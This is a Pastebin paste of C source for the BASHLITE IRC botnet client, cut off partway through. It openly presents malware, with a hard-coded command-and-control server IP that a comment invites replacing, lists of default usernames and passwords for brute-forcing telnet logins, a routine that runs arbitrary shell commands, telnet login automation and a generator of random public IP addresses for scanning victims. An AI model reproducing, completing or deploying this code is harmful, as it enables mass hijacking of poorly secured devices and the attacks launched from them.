Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2017
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.19 KB | None | 0 0
  1. /*
  2.  
  3. BASHLITE:
  4.  
  5. This is the cross compiled bot
  6.  
  7.  
  8.  
  9. LICENSE:
  10.  
  11. Public Domain
  12.  
  13. */
  14.  
  15.  
  16.  
  17. /*
  18.  
  19. THIS IS A BOT. AN IRC BOT.
  20.  
  21. IT IS VERY TINY AND WILL NOT TAKE UP MUCH OF YOUR SPACE AND TIME.
  22.  
  23. IT IS A VERY UNIVERSAL BOT. IT WILL WORK ON ALMOST ANYTHING YOU WANT IT TO WORK ON.
  24.  
  25. THIS IS A BOT. AN IRC BOT.
  26.  
  27. */
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35. // ___ __ _
  36.  
  37. // / \___ / _(_)_ __ ___ ___
  38.  
  39. // / /\ / _ \ |_| | '_ \ / _ \/ __|
  40.  
  41. // / /_// __/ _| | | | | __/\__ \
  42.  
  43. // /___,' \___|_| |_|_| |_|\___||___/
  44.  
  45.  
  46.  
  47. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  48.  
  49. #define PAD_RIGHT 1
  50.  
  51. #define PAD_ZERO 2
  52.  
  53. #define PRINT_BUF_LEN 12
  54.  
  55. #define CMD_IAC 255
  56.  
  57. #define CMD_WILL 251
  58.  
  59. #define CMD_WONT 252
  60.  
  61. #define CMD_DO 253
  62.  
  63. #define CMD_DONT 254
  64.  
  65. #define OPT_SGA 3
  66.  
  67.  
  68.  
  69. // _____ _ _
  70.  
  71. // \_ \_ __ ___| |_ _ __| | ___ ___
  72.  
  73. // / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  74.  
  75. // /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
  76.  
  77. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  78.  
  79.  
  80.  
  81. #include <stdlib.h>
  82.  
  83. #include <stdarg.h>
  84.  
  85. #include <stdio.h>
  86.  
  87. #include <sys/socket.h>
  88.  
  89. #include <sys/types.h>
  90.  
  91. #include <netinet/in.h>
  92.  
  93. #include <arpa/inet.h>
  94.  
  95. #include <netdb.h>
  96.  
  97. #include <signal.h>
  98.  
  99. #include <strings.h>
  100.  
  101. #include <string.h>
  102.  
  103. #include <sys/utsname.h>
  104.  
  105. #include <unistd.h>
  106.  
  107. #include <fcntl.h>
  108.  
  109. #include <errno.h>
  110.  
  111. #include <netinet/ip.h>
  112.  
  113. #include <netinet/udp.h>
  114.  
  115. #include <netinet/tcp.h>
  116.  
  117. #include <sys/wait.h>
  118.  
  119. #include <sys/ioctl.h>
  120.  
  121. #include <net/if.h>
  122.  
  123.  
  124.  
  125. // ___ __ _
  126.  
  127. // / __\___ _ __ / _(_) __ _
  128.  
  129. // / / / _ \| '_ \| |_| |/ _` |
  130.  
  131. // / /__| (_) | | | | _| | (_| |
  132.  
  133. // \____/\___/|_| |_|_| |_|\__, |
  134.  
  135. // |___/
  136.  
  137.  
  138.  
  139. unsigned char *commServer[] =
  140.  
  141. {
  142.  
  143. "145.239.38.78" //This is the IP of the command server (you'll need to change this)
  144.  
  145. };
  146.  
  147.  
  148.  
  149. // ___ _
  150.  
  151. // / __\ _ _ __ ___| |_(_) ___ _ __ ___
  152.  
  153. // / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  154.  
  155. // / / | |_| | | | | (__| |_| | (_) | | | \__ \
  156.  
  157. // \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  158.  
  159.  
  160.  
  161. int initConnection();
  162.  
  163. int getBogos(unsigned char *bogomips);
  164.  
  165. int getCores();
  166.  
  167. int getCountry(unsigned char *buf, int bufsize);
  168.  
  169. void makeRandomStr(unsigned char *buf, int length);
  170.  
  171. int sockprintf(int sock, char *formatStr, ...);
  172.  
  173. char *inet_ntoa(struct in_addr in);
  174.  
  175.  
  176.  
  177. // ___ _ _ _
  178.  
  179. // / _ \ | ___ | |__ __ _| |___
  180.  
  181. // / /_\/ |/ _ \| '_ \ / _` | / __|
  182.  
  183. // / /_\\| | (_) | |_) | (_| | \__ \
  184.  
  185. // \____/|_|\___/|_.__/ \__,_|_|___/
  186.  
  187.  
  188.  
  189. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  190.  
  191. uint32_t *pids;
  192.  
  193. uint32_t scanPid;
  194.  
  195. uint64_t numpids = 0;
  196.  
  197. struct in_addr ourIP;
  198.  
  199. unsigned char macAddress[6] = {0};
  200.  
  201. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0"};
  202.  
  203. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
  204.  
  205.  
  206.  
  207. // ___ ___ __ __ ___
  208.  
  209. // / __\/ _ \/__\ /\ \ \/ _ \
  210.  
  211. // / _\ / /_)/ \// / \/ / /_\/
  212.  
  213. // / / / ___/ _ \/ /\ / /_\\
  214.  
  215. // \/ \/ \/ \_/\_\ \/\____/
  216.  
  217.  
  218.  
  219. #define PHI 0x9e3779b9
  220.  
  221. static uint32_t Q[4096], c = 362436;
  222.  
  223.  
  224.  
  225. void init_rand(uint32_t x)
  226.  
  227. {
  228.  
  229. int i;
  230.  
  231.  
  232.  
  233. Q[0] = x;
  234.  
  235. Q[1] = x + PHI;
  236.  
  237. Q[2] = x + PHI + PHI;
  238.  
  239.  
  240.  
  241. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  242.  
  243. }
  244.  
  245.  
  246.  
  247. uint32_t rand_cmwc(void)
  248.  
  249. {
  250.  
  251. uint64_t t, a = 18782LL;
  252.  
  253. static uint32_t i = 4095;
  254.  
  255. uint32_t x, r = 0xfffffffe;
  256.  
  257. i = (i + 1) & 4095;
  258.  
  259. t = a * Q[i] + c;
  260.  
  261. c = (uint32_t)(t >> 32);
  262.  
  263. x = t + c;
  264.  
  265. if (x < c) {
  266.  
  267. x++;
  268.  
  269. c++;
  270.  
  271. }
  272.  
  273. return (Q[i] = r - x);
  274.  
  275. }
  276.  
  277.  
  278.  
  279. // _ _ _
  280.  
  281. // /\ /\| |_(_) |___
  282.  
  283. // / / \ \ __| | / __|
  284.  
  285. // \ \_/ / |_| | \__ \
  286.  
  287. // \___/ \__|_|_|___/
  288.  
  289.  
  290.  
  291. void trim(char *str)
  292.  
  293. {
  294.  
  295. int i;
  296.  
  297. int begin = 0;
  298.  
  299. int end = strlen(str) - 1;
  300.  
  301.  
  302.  
  303. while (isspace(str[begin])) begin++;
  304.  
  305.  
  306.  
  307. while ((end >= begin) && isspace(str[end])) end--;
  308.  
  309. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  310.  
  311.  
  312.  
  313. str[i - begin] = '\0';
  314.  
  315. }
  316.  
  317.  
  318.  
  319. static void printchar(unsigned char **str, int c)
  320.  
  321. {
  322.  
  323. if (str) {
  324.  
  325. **str = c;
  326.  
  327. ++(*str);
  328.  
  329. }
  330.  
  331. else (void)write(1, &c, 1);
  332.  
  333. }
  334.  
  335.  
  336.  
  337. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  338.  
  339. {
  340.  
  341. register int pc = 0, padchar = ' ';
  342.  
  343.  
  344.  
  345. if (width > 0) {
  346.  
  347. register int len = 0;
  348.  
  349. register const unsigned char *ptr;
  350.  
  351. for (ptr = string; *ptr; ++ptr) ++len;
  352.  
  353. if (len >= width) width = 0;
  354.  
  355. else width -= len;
  356.  
  357. if (pad & PAD_ZERO) padchar = '0';
  358.  
  359. }
  360.  
  361. if (!(pad & PAD_RIGHT)) {
  362.  
  363. for ( ; width > 0; --width) {
  364.  
  365. printchar (out, padchar);
  366.  
  367. ++pc;
  368.  
  369. }
  370.  
  371. }
  372.  
  373. for ( ; *string ; ++string) {
  374.  
  375. printchar (out, *string);
  376.  
  377. ++pc;
  378.  
  379. }
  380.  
  381. for ( ; width > 0; --width) {
  382.  
  383. printchar (out, padchar);
  384.  
  385. ++pc;
  386.  
  387. }
  388.  
  389.  
  390.  
  391. return pc;
  392.  
  393. }
  394.  
  395.  
  396.  
  397. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  398.  
  399. {
  400.  
  401. unsigned char print_buf[PRINT_BUF_LEN];
  402.  
  403. register unsigned char *s;
  404.  
  405. register int t, neg = 0, pc = 0;
  406.  
  407. register unsigned int u = i;
  408.  
  409.  
  410.  
  411. if (i == 0) {
  412.  
  413. print_buf[0] = '0';
  414.  
  415. print_buf[1] = '\0';
  416.  
  417. return prints (out, print_buf, width, pad);
  418.  
  419. }
  420.  
  421.  
  422.  
  423. if (sg && b == 10 && i < 0) {
  424.  
  425. neg = 1;
  426.  
  427. u = -i;
  428.  
  429. }
  430.  
  431.  
  432.  
  433. s = print_buf + PRINT_BUF_LEN-1;
  434.  
  435. *s = '\0';
  436.  
  437.  
  438.  
  439. while (u) {
  440.  
  441. t = u % b;
  442.  
  443. if( t >= 10 )
  444.  
  445. t += letbase - '0' - 10;
  446.  
  447. *--s = t + '0';
  448.  
  449. u /= b;
  450.  
  451. }
  452.  
  453.  
  454.  
  455. if (neg) {
  456.  
  457. if( width && (pad & PAD_ZERO) ) {
  458.  
  459. printchar (out, '-');
  460.  
  461. ++pc;
  462.  
  463. --width;
  464.  
  465. }
  466.  
  467. else {
  468.  
  469. *--s = '-';
  470.  
  471. }
  472.  
  473. }
  474.  
  475.  
  476.  
  477. return pc + prints (out, s, width, pad);
  478.  
  479. }
  480.  
  481.  
  482.  
  483. static int print(unsigned char **out, const unsigned char *format, va_list args )
  484.  
  485. {
  486.  
  487. register int width, pad;
  488.  
  489. register int pc = 0;
  490.  
  491. unsigned char scr[2];
  492.  
  493.  
  494.  
  495. for (; *format != 0; ++format) {
  496.  
  497. if (*format == '%') {
  498.  
  499. ++format;
  500.  
  501. width = pad = 0;
  502.  
  503. if (*format == '\0') break;
  504.  
  505. if (*format == '%') goto out;
  506.  
  507. if (*format == '-') {
  508.  
  509. ++format;
  510.  
  511. pad = PAD_RIGHT;
  512.  
  513. }
  514.  
  515. while (*format == '0') {
  516.  
  517. ++format;
  518.  
  519. pad |= PAD_ZERO;
  520.  
  521. }
  522.  
  523. for ( ; *format >= '0' && *format <= '9'; ++format) {
  524.  
  525. width *= 10;
  526.  
  527. width += *format - '0';
  528.  
  529. }
  530.  
  531. if( *format == 's' ) {
  532.  
  533. register char *s = (char *)va_arg( args, int );
  534.  
  535. pc += prints (out, s?s:"(null)", width, pad);
  536.  
  537. continue;
  538.  
  539. }
  540.  
  541. if( *format == 'd' ) {
  542.  
  543. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  544.  
  545. continue;
  546.  
  547. }
  548.  
  549. if( *format == 'x' ) {
  550.  
  551. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  552.  
  553. continue;
  554.  
  555. }
  556.  
  557. if( *format == 'X' ) {
  558.  
  559. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  560.  
  561. continue;
  562.  
  563. }
  564.  
  565. if( *format == 'u' ) {
  566.  
  567. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  568.  
  569. continue;
  570.  
  571. }
  572.  
  573. if( *format == 'c' ) {
  574.  
  575. scr[0] = (unsigned char)va_arg( args, int );
  576.  
  577. scr[1] = '\0';
  578.  
  579. pc += prints (out, scr, width, pad);
  580.  
  581. continue;
  582.  
  583. }
  584.  
  585. }
  586.  
  587. else {
  588.  
  589. out:
  590.  
  591. printchar (out, *format);
  592.  
  593. ++pc;
  594.  
  595. }
  596.  
  597. }
  598.  
  599. if (out) **out = '\0';
  600.  
  601. va_end( args );
  602.  
  603. return pc;
  604.  
  605. }
  606.  
  607.  
  608.  
  609. int zprintf(const unsigned char *format, ...)
  610.  
  611. {
  612.  
  613. va_list args;
  614.  
  615. va_start( args, format );
  616.  
  617. return print( 0, format, args );
  618.  
  619. }
  620.  
  621.  
  622.  
  623. int szprintf(unsigned char *out, const unsigned char *format, ...)
  624.  
  625. {
  626.  
  627. va_list args;
  628.  
  629. va_start( args, format );
  630.  
  631. return print( &out, format, args );
  632.  
  633. }
  634.  
  635.  
  636.  
  637.  
  638.  
  639. int sockprintf(int sock, char *formatStr, ...)
  640.  
  641. {
  642.  
  643. unsigned char *textBuffer = malloc(2048);
  644.  
  645. memset(textBuffer, 0, 2048);
  646.  
  647. char *orig = textBuffer;
  648.  
  649. va_list args;
  650.  
  651. va_start(args, formatStr);
  652.  
  653. print(&textBuffer, formatStr, args);
  654.  
  655. va_end(args);
  656.  
  657. orig[strlen(orig)] = '\n';
  658.  
  659. zprintf("buf: %s\n", orig);
  660.  
  661. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  662.  
  663. free(orig);
  664.  
  665. return q;
  666.  
  667. }
  668.  
  669.  
  670.  
  671. static int *fdopen_pids;
  672.  
  673.  
  674.  
  675. int fdpopen(unsigned char *program, register unsigned char *type)
  676.  
  677. {
  678.  
  679. register int iop;
  680.  
  681. int pdes[2], fds, pid;
  682.  
  683.  
  684.  
  685. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  686.  
  687.  
  688.  
  689. if (pipe(pdes) < 0) return -1;
  690.  
  691. if (fdopen_pids == NULL) {
  692.  
  693. if ((fds = getdtablesize()) <= 0) return -1;
  694.  
  695. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  696.  
  697. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  698.  
  699. }
  700.  
  701.  
  702.  
  703. switch (pid = vfork())
  704.  
  705. {
  706.  
  707. case -1:
  708.  
  709. close(pdes[0]);
  710.  
  711. close(pdes[1]);
  712.  
  713. return -1;
  714.  
  715. case 0:
  716.  
  717. if (*type == 'r') {
  718.  
  719. if (pdes[1] != 1) {
  720.  
  721. dup2(pdes[1], 1);
  722.  
  723. close(pdes[1]);
  724.  
  725. }
  726.  
  727. close(pdes[0]);
  728.  
  729. } else {
  730.  
  731. if (pdes[0] != 0) {
  732.  
  733. (void) dup2(pdes[0], 0);
  734.  
  735. (void) close(pdes[0]);
  736.  
  737. }
  738.  
  739. (void) close(pdes[1]);
  740.  
  741. }
  742.  
  743. execl("/bin/sh", "sh", "-c", program, NULL);
  744.  
  745. _exit(127);
  746.  
  747. }
  748.  
  749. if (*type == 'r') {
  750.  
  751. iop = pdes[0];
  752.  
  753. (void) close(pdes[1]);
  754.  
  755. } else {
  756.  
  757. iop = pdes[1];
  758.  
  759. (void) close(pdes[0]);
  760.  
  761. }
  762.  
  763. fdopen_pids[iop] = pid;
  764.  
  765. return (iop);
  766.  
  767. }
  768.  
  769.  
  770.  
  771. int fdpclose(int iop)
  772.  
  773. {
  774.  
  775. register int fdes;
  776.  
  777. sigset_t omask, nmask;
  778.  
  779. int pstat;
  780.  
  781. register int pid;
  782.  
  783.  
  784.  
  785. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  786.  
  787. (void) close(iop);
  788.  
  789. sigemptyset(&nmask);
  790.  
  791. sigaddset(&nmask, SIGINT);
  792.  
  793. sigaddset(&nmask, SIGQUIT);
  794.  
  795. sigaddset(&nmask, SIGHUP);
  796.  
  797. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  798.  
  799. do {
  800.  
  801. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  802.  
  803. } while (pid == -1 && errno == EINTR);
  804.  
  805. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  806.  
  807. fdopen_pids[fdes] = 0;
  808.  
  809. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  810.  
  811. }
  812.  
  813.  
  814.  
  815. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  816.  
  817. {
  818.  
  819. int got = 1, total = 0;
  820.  
  821. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  822.  
  823. return got == 0 ? NULL : buffer;
  824.  
  825. }
  826.  
  827.  
  828.  
  829. static const long hextable[] = {
  830.  
  831. [0 ... 255] = -1,
  832.  
  833. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  834.  
  835. ['A'] = 10, 11, 12, 13, 14, 15,
  836.  
  837. ['a'] = 10, 11, 12, 13, 14, 15
  838.  
  839. };
  840.  
  841.  
  842.  
  843. long parseHex(unsigned char *hex)
  844.  
  845. {
  846.  
  847. long ret = 0;
  848.  
  849. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  850.  
  851. return ret;
  852.  
  853. }
  854.  
  855.  
  856.  
  857. int wildString(const unsigned char* pattern, const unsigned char* string) {
  858.  
  859. switch(*pattern)
  860.  
  861. {
  862.  
  863. case '\0': return *string;
  864.  
  865. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  866.  
  867. case '?': return !(*string && !wildString(pattern+1, string+1));
  868.  
  869. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  870.  
  871. }
  872.  
  873. }
  874.  
  875.  
  876.  
  877. int getHost(unsigned char *toGet, struct in_addr *i)
  878.  
  879. {
  880.  
  881. struct hostent *h;
  882.  
  883. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  884.  
  885. return 0;
  886.  
  887. }
  888.  
  889.  
  890.  
  891. void uppercase(unsigned char *str)
  892.  
  893. {
  894.  
  895. while(*str) { *str = toupper(*str); str++; }
  896.  
  897. }
  898.  
  899.  
  900.  
  901. int getBogos(unsigned char *bogomips)
  902.  
  903. {
  904.  
  905. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  906.  
  907. char linebuf[4096];
  908.  
  909. while(fdgets(linebuf, 4096, cmdline) != NULL)
  910.  
  911. {
  912.  
  913. uppercase(linebuf);
  914.  
  915. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  916.  
  917. {
  918.  
  919. unsigned char *pos = linebuf + 8;
  920.  
  921. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  922.  
  923. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  924.  
  925. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  926.  
  927. strcpy(bogomips, pos);
  928.  
  929. close(cmdline);
  930.  
  931. return 0;
  932.  
  933. }
  934.  
  935. memset(linebuf, 0, 4096);
  936.  
  937. }
  938.  
  939. close(cmdline);
  940.  
  941. return 1;
  942.  
  943. }
  944.  
  945.  
  946.  
  947. int getCores()
  948.  
  949. {
  950.  
  951. int totalcores = 0;
  952.  
  953. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  954.  
  955. char linebuf[4096];
  956.  
  957. while(fdgets(linebuf, 4096, cmdline) != NULL)
  958.  
  959. {
  960.  
  961. uppercase(linebuf);
  962.  
  963. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  964.  
  965. memset(linebuf, 0, 4096);
  966.  
  967. }
  968.  
  969. close(cmdline);
  970.  
  971. return totalcores;
  972.  
  973.  
  974.  
  975. }
  976.  
  977.  
  978.  
  979. void makeRandomStr(unsigned char *buf, int length)
  980.  
  981. {
  982.  
  983. int i = 0;
  984.  
  985. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  986.  
  987. }
  988.  
  989.  
  990.  
  991. int recvLine(int socket, unsigned char *buf, int bufsize)
  992.  
  993. {
  994.  
  995. memset(buf, 0, bufsize);
  996.  
  997.  
  998.  
  999. fd_set myset;
  1000.  
  1001. struct timeval tv;
  1002.  
  1003. tv.tv_sec = 30;
  1004.  
  1005. tv.tv_usec = 0;
  1006.  
  1007. FD_ZERO(&myset);
  1008.  
  1009. FD_SET(socket, &myset);
  1010.  
  1011. int selectRtn, retryCount;
  1012.  
  1013. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1014.  
  1015. while(retryCount < 10)
  1016.  
  1017. {
  1018.  
  1019. sockprintf(mainCommSock, "PING");
  1020.  
  1021.  
  1022.  
  1023. tv.tv_sec = 30;
  1024.  
  1025. tv.tv_usec = 0;
  1026.  
  1027. FD_ZERO(&myset);
  1028.  
  1029. FD_SET(socket, &myset);
  1030.  
  1031. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1032.  
  1033. retryCount++;
  1034.  
  1035. continue;
  1036.  
  1037. }
  1038.  
  1039.  
  1040.  
  1041. break;
  1042.  
  1043. }
  1044.  
  1045. }
  1046.  
  1047.  
  1048.  
  1049. unsigned char tmpchr;
  1050.  
  1051. unsigned char *cp;
  1052.  
  1053. int count = 0;
  1054.  
  1055.  
  1056.  
  1057. cp = buf;
  1058.  
  1059. while(bufsize-- > 1)
  1060.  
  1061. {
  1062.  
  1063. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  1064.  
  1065. *cp = 0x00;
  1066.  
  1067. return -1;
  1068.  
  1069. }
  1070.  
  1071. *cp++ = tmpchr;
  1072.  
  1073. if(tmpchr == '\n') break;
  1074.  
  1075. count++;
  1076.  
  1077. }
  1078.  
  1079. *cp = 0x00;
  1080.  
  1081.  
  1082.  
  1083. zprintf("recv: %s\n", cp);
  1084.  
  1085.  
  1086.  
  1087. return count;
  1088.  
  1089. }
  1090.  
  1091.  
  1092.  
  1093. int connectTimeout(int fd, char *host, int port, int timeout)
  1094.  
  1095. {
  1096.  
  1097. struct sockaddr_in dest_addr;
  1098.  
  1099. fd_set myset;
  1100.  
  1101. struct timeval tv;
  1102.  
  1103. socklen_t lon;
  1104.  
  1105.  
  1106.  
  1107. int valopt;
  1108.  
  1109. long arg = fcntl(fd, F_GETFL, NULL);
  1110.  
  1111. arg |= O_NONBLOCK;
  1112.  
  1113. fcntl(fd, F_SETFL, arg);
  1114.  
  1115.  
  1116.  
  1117. dest_addr.sin_family = AF_INET;
  1118.  
  1119. dest_addr.sin_port = htons(port);
  1120.  
  1121. if(getHost(host, &dest_addr.sin_addr)) return 0;
  1122.  
  1123. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1124.  
  1125. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1126.  
  1127.  
  1128.  
  1129. if (res < 0) {
  1130.  
  1131. if (errno == EINPROGRESS) {
  1132.  
  1133. tv.tv_sec = timeout;
  1134.  
  1135. tv.tv_usec = 0;
  1136.  
  1137. FD_ZERO(&myset);
  1138.  
  1139. FD_SET(fd, &myset);
  1140.  
  1141. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  1142.  
  1143. lon = sizeof(int);
  1144.  
  1145. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1146.  
  1147. if (valopt) return 0;
  1148.  
  1149. }
  1150.  
  1151. else return 0;
  1152.  
  1153. }
  1154.  
  1155. else return 0;
  1156.  
  1157. }
  1158.  
  1159.  
  1160.  
  1161. arg = fcntl(fd, F_GETFL, NULL);
  1162.  
  1163. arg &= (~O_NONBLOCK);
  1164.  
  1165. fcntl(fd, F_SETFL, arg);
  1166.  
  1167.  
  1168.  
  1169. return 1;
  1170.  
  1171. }
  1172.  
  1173.  
  1174.  
  1175. int listFork()
  1176.  
  1177. {
  1178.  
  1179. uint32_t parent, *newpids, i;
  1180.  
  1181. parent = fork();
  1182.  
  1183. if (parent <= 0) return parent;
  1184.  
  1185. numpids++;
  1186.  
  1187. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1188.  
  1189. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1190.  
  1191. newpids[numpids - 1] = parent;
  1192.  
  1193. free(pids);
  1194.  
  1195. pids = newpids;
  1196.  
  1197. return parent;
  1198.  
  1199. }
  1200.  
  1201.  
  1202.  
  1203. int negotiate(int sock, unsigned char *buf, int len)
  1204.  
  1205. {
  1206.  
  1207. unsigned char c;
  1208.  
  1209.  
  1210.  
  1211. switch (buf[1]) {
  1212.  
  1213. case CMD_IAC: /*dropped an extra 0xFF whoops*/ return 0;
  1214.  
  1215. case CMD_WILL:
  1216.  
  1217. case CMD_WONT:
  1218.  
  1219. case CMD_DO:
  1220.  
  1221. case CMD_DONT:
  1222.  
  1223. c = CMD_IAC;
  1224.  
  1225. send(sock, &c, 1, MSG_NOSIGNAL);
  1226.  
  1227. if (CMD_WONT == buf[1]) c = CMD_DONT;
  1228.  
  1229. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1230.  
  1231. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1232.  
  1233. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1234.  
  1235. send(sock, &c, 1, MSG_NOSIGNAL);
  1236.  
  1237. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1238.  
  1239. break;
  1240.  
  1241.  
  1242.  
  1243. default:
  1244.  
  1245. break;
  1246.  
  1247. }
  1248.  
  1249.  
  1250.  
  1251. return 0;
  1252.  
  1253. }
  1254.  
  1255.  
  1256.  
  1257. int matchPrompt(char *bufStr)
  1258.  
  1259. {
  1260.  
  1261. char *prompts = ":>%$#\0";
  1262.  
  1263.  
  1264.  
  1265. int bufLen = strlen(bufStr);
  1266.  
  1267. int i, q = 0;
  1268.  
  1269. for(i = 0; i < strlen(prompts); i++)
  1270.  
  1271. {
  1272.  
  1273. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  1274.  
  1275. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  1276.  
  1277. }
  1278.  
  1279.  
  1280.  
  1281. return 0;
  1282.  
  1283. }
  1284.  
  1285.  
  1286.  
  1287. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  1288.  
  1289. {
  1290.  
  1291. int bufferUsed = initialIndex, got = 0, found = 0;
  1292.  
  1293. fd_set myset;
  1294.  
  1295. struct timeval tv;
  1296.  
  1297. tv.tv_sec = timeout;
  1298.  
  1299. tv.tv_usec = timeoutusec;
  1300.  
  1301. unsigned char *initialRead = NULL;
  1302.  
  1303.  
  1304.  
  1305. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  1306.  
  1307. {
  1308.  
  1309. FD_ZERO(&myset);
  1310.  
  1311. FD_SET(fd, &myset);
  1312.  
  1313. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  1314.  
  1315. initialRead = buffer + bufferUsed;
  1316.  
  1317. got = recv(fd, initialRead, 1, 0);
  1318.  
  1319. if(got == -1 || got == 0) return 0;
  1320.  
  1321. bufferUsed += got;
  1322.  
  1323. if(*initialRead == 0xFF)
  1324.  
  1325. {
  1326.  
  1327. got = recv(fd, initialRead + 1, 2, 0);
  1328.  
  1329. if(got == -1 || got == 0) return 0;
  1330.  
  1331. bufferUsed += got;
  1332.  
  1333. if(!negotiate(fd, initialRead, 3)) return 0;
  1334.  
  1335. } else {
  1336.  
  1337. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  1338.  
  1339. }
  1340.  
  1341. }
  1342.  
  1343.  
  1344.  
  1345. if(found) return 1;
  1346.  
  1347. return 0;
  1348.  
  1349. }
  1350.  
  1351.  
  1352.  
  1353. // _____ ___ _ _ _
  1354.  
  1355. // \_ \/ _ \ /\ /\| |_(_) |___
  1356.  
  1357. // / /\/ /_)/ / / \ \ __| | / __|
  1358.  
  1359. // /\/ /_/ ___/ \ \_/ / |_| | \__ \
  1360.  
  1361. // \____/\/ \___/ \__|_|_|___/
  1362.  
  1363.  
  1364.  
  1365. static uint8_t ipState[5] = {0}; //starting from 1 because you only live once
  1366.  
  1367. in_addr_t getRandomPublicIP()
  1368.  
  1369. {
  1370.  
  1371. if(ipState[1] > 0 && ipState[4] < 255)
  1372.  
  1373. {
  1374.  
  1375. ipState[4]++;
  1376.  
  1377. char ip[16] = {0};
  1378.  
  1379. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  1380.  
  1381. return inet_addr(ip);
  1382.  
  1383. }
  1384.  
  1385.  
  1386.  
  1387. ipState[1] = rand() % 255;
  1388.  
  1389. ipState[2] = rand() % 255;
  1390.  
  1391. ipState[3] = rand() % 255;
  1392.  
  1393. ipState[4] = 0;
  1394.  
  1395. while(
  1396.  
  1397. (ipState[1] == 0) ||
  1398.  
  1399. (ipState[1] == 10) ||
  1400.  
  1401. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  1402.  
  1403. (ipState[1] == 127) ||
  1404.  
  1405. (ipState[1] == 169 && ipState[2] == 254) ||
  1406.  
  1407. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  1408.  
  1409. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  1410.  
  1411. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  1412.  
  1413. (ipState[1] == 192 && ipState[2] == 168) ||
  1414.  
  1415. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  1416.  
  1417. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  1418.  
  1419. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  1420.  
  1421. (ipState[1] >= 224)
  1422.  
